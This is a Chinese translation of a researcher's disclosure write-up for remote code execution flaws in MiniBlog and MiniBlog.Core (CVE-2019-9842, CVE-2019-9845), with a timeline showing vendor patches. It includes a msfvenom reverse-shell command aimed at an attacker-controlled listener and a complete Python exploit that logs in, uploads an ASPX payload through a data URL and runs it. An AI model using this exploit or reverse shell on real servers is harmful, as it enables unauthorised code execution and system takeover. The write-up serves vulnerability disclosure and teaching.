文章来源:https://rastating.github.io/miniblog-remote-code-execution/
概述
本文介绍了发现MiniBlog上的一个远程代码执行漏洞的过程,文末附有POC。此漏洞利用和环境较为简单,但仍具一定学习参考的价值。
注:本文涉及的漏洞仅供学习交流请勿用于非法用途。
挖掘过程
在审阅MiniBlog的项目(Windows下的博客系统)时,我注意到一个有趣的功能。对于大部分WYSIWYG富文本编辑器来说,图像通常被嵌入在生成的标记(HTML源码)中,而不是直接上传到web服务器。图片是通过img
元素的Data URLs方法被嵌入到标记中。
下图就是这样的一个例子:
乍一看,这似乎没什么不对劲的地方。但是,当你发表这篇博文后再次查看该图像,此时data URL已经消失了:
从上图你可以看到,img
元素的内容已经改变了:
<img src="data:image/jpeg;base64,BASE64_CONTENT">
其中的src
属性可以直接引用磁盘上的文件:
<img src="/posts/files/03d21a01-d1f7-4e09-a6f8-0e67f26eb50b.jpeg" alt="">
随后,我对代码进行了分析。我发现博文首先会被扫描是否存在data URLs,然后再通过相应的标记创建文件到硬盘存储到硬盘中。相关代码如下所示:
private void SaveFilesToDisk(Post post)
{
foreach (Match match in Regex.Matches(post.Content, "(src|href)=\"(data:([^\"]+))\"(>.*?</a>)?"))
{
string extension = string.Empty;
string filename = string.Empty;
// Image
if (match.Groups[1].Value == "src")
{
extension = Regex.Match(match.Value, "data:([^/]+)/([a-z]+);base64").Groups[2].Value;
}
// Other file type
else
{
// Entire filename
extension = Regex.Match(match.Value, "data:([^/]+)/([a-z0-9+-.]+);base64.*\">(.*)</a>").Groups[3].Value;
}
byte[] bytes = ConvertToBytes(match.Groups[2].Value);
string path = Blog.SaveFileToDisk(bytes, extension);
string value = string.Format("src=\"{0}\" alt=\"\" ", path);
if (match.Groups[1].Value == "href")
value = string.Format("href=\"{0}\"", path);
Match m = Regex.Match(match.Value, "(src|href)=\"(data:([^\"]+))\"");
post.Content = post.Content.Replace(m.Value, value);
}
}
组装Payload
关于上面这一串代码中的SaveFilesToDisk
的方法,它包含一些正则表达式,提取的内容如下:
- MIME类型
- Base64的内容
MIME类型通常以image/gif和image/jpeg的形式呈现,并且软件将MIME类型中的后半部分作为文件的扩展名。了解这一点后,我们可以开始着手利用它了。创建新博文,将编辑器调整到标记模式(在工具栏最后一个图标),使用img元素,data URL和MIME类型,并且将该类型的尾部设为aspx
:
在上图中,我使用msfvenom
创建了一个ASPX shell并且对该shell进行base64
编码处理,然后填充到base64部分。
$ msfvenom -p windows/x64/shell_reverse_tcp EXITFUNC=thread -f aspx LHOST=192.168.194.141 LPORT=4444 -o shell_no_encoding.aspx
$ base64 -w0 shell_no_encoding.aspx > shell.aspx
随后我开启netcat,监听4444端口的数据传输,然后发布该博文。此时浏览器会重定向到该博文,然后立即返回了一个shell。
点击Save
后,浏览器会重定向到博文页面。现在,我们再返回到页面,查看源码,可以看到img
元素中的src
属性包含着一个ASPX文件:
我在Miniblog.Core项目中也发现了该漏洞,但是有些不同,它是通过img
元素的data-filename
属性直接给定文件名称,而不是使用MIME类型来确定扩展名的。
时间表
- 2019-03-15: 发现漏洞,尝试修复并且请求CVEs。
- 2019-03-15: 提交漏洞,请求披露。
- 2019-03-16: MiniBlog项目漏洞被分配为CVE-2019-9842, MiniBlog.Core项目漏洞被分配为CVE-2019-9845。
- 2019-03-16: 与供应商协商并且提供补丁
- 2019-03-16: 两个Github项目都已发布补丁。
漏洞概念证明
CVE-2019-9842:
import base64
import re
import requests
import os
import sys
import string
import random
if len(sys.argv) < 5:
print 'Usage: python {file} [base url] [username] [password] [path to payload]'.format(file = sys.argv[0])
sys.exit(1)
username = sys.argv[2]
password = sys.argv[3]
url = sys.argv[1]
payload_path = sys.argv[4]
extension = os.path.splitext(payload_path)[1][1:]
def random_string(length):
return ''.join(random.choice(string.ascii_letters) for m in xrange(length))
def request_verification_code(path, cookies = {}):
r = requests.get(url + path, cookies = cookies)
m = re.search(r'name="?__RequestVerificationToken"?.+?value="?([a-zA-Z0-9\-_]+)"?', r.text)
if m is None:
print '\033[1;31;40m[!]\033[0m Failed to retrieve verification token'
sys.exit(1)
token = m.group(1)
cookie_token = r.cookies.get('__RequestVerificationToken')
return [token, cookie_token]
payload = None
with open(payload_path, 'rb') as payload_file:
payload = base64.b64encode(payload_file.read())
# Note: login_token[1] must be sent with every request as a cookie.
login_token = request_verification_code('/views/login.cshtml?ReturnUrl=/')
print '\033[1;32;40m[+]\033[0m Retrieved login token'
login_res = requests.post(url + '/views/login.cshtml?ReturnUrl=/', allow_redirects = False, data = {
'username': username,
'password': password,
'__RequestVerificationToken': login_token[0]
}, cookies = {
'__RequestVerificationToken': login_token[1]
})
session_cookie = login_res.cookies.get('miniblog')
if session_cookie is None:
print '\033[1;31;40m[!]\033[0m Failed to authenticate'
sys.exit(1)
print '\033[1;32;40m[+]\033[0m Authenticated as {user}'.format(user = username)
post_token = request_verification_code('/post/new', {
'__RequestVerificationToken': login_token[1],
'miniblog': session_cookie
})
print '\033[1;32;40m[+]\033[0m Retrieved new post token'
post_res = requests.post(url + '/post.ashx?mode=save', data = {
'id': random_string(16),
'isPublished': True,
'title': random_string(8),
'excerpt': '',
'content': '<img src="data:image/{ext};base64,{payload}" />'.format(ext = extension, payload = payload),
'categories': '',
'__RequestVerificationToken': post_token[0]
}, cookies = {
'__RequestVerificationToken': login_token[1],
'miniblog': session_cookie
})
post_url = post_res.text
post_res = requests.get(url + post_url, cookies = {
'__RequestVerificationToken': login_token[1],
'miniblog': session_cookie
})
uploaded = True
payload_url = None
m = re.search(r'img src="?(\/posts\/files\/(.+?)\.' + extension + ')"?', post_res.text)
if m is None:
print '\033[1;31;40m[!]\033[0m Could not find the uploaded payload location'
uploaded = False
if uploaded:
payload_url = m.group(1)
print '\033[1;32;40m[+]\033[0m Uploaded payload to {url}'.format(url = payload_url)
article_id = None
m = re.search(r'article class="?post"? data\-id="?([a-zA-Z0-9\-]+)"?', post_res.text)
if m is None:
print '\033[1;31;40m[!]\033[0m Could not determine article ID of new post. Automatic clean up is not possible.'
else:
article_id = m.group(1)
if article_id is not None:
m = re.search(r'name="?__RequestVerificationToken"?.+?value="?([a-zA-Z0-9\-_]+)"?', post_res.text)
delete_token = m.group(1)
delete_res = requests.post(url + '/post.ashx?mode=delete', data = {
'id': article_id,
'__RequestVerificationToken': delete_token
}, cookies = {
'__RequestVerificationToken': login_token[1],
'miniblog': session_cookie
})
if delete_res.status_code == 200:
print '\033[1;32;40m[+]\033[0m Deleted temporary post'
else:
print '\033[1;31;40m[!]\033[0m Failed to automatically cleanup temporary post'
try:
if uploaded:
print '\033[1;32;40m[+]\033[0m Executing payload...'
requests.get(url + payload_url)
except:
sys.exit()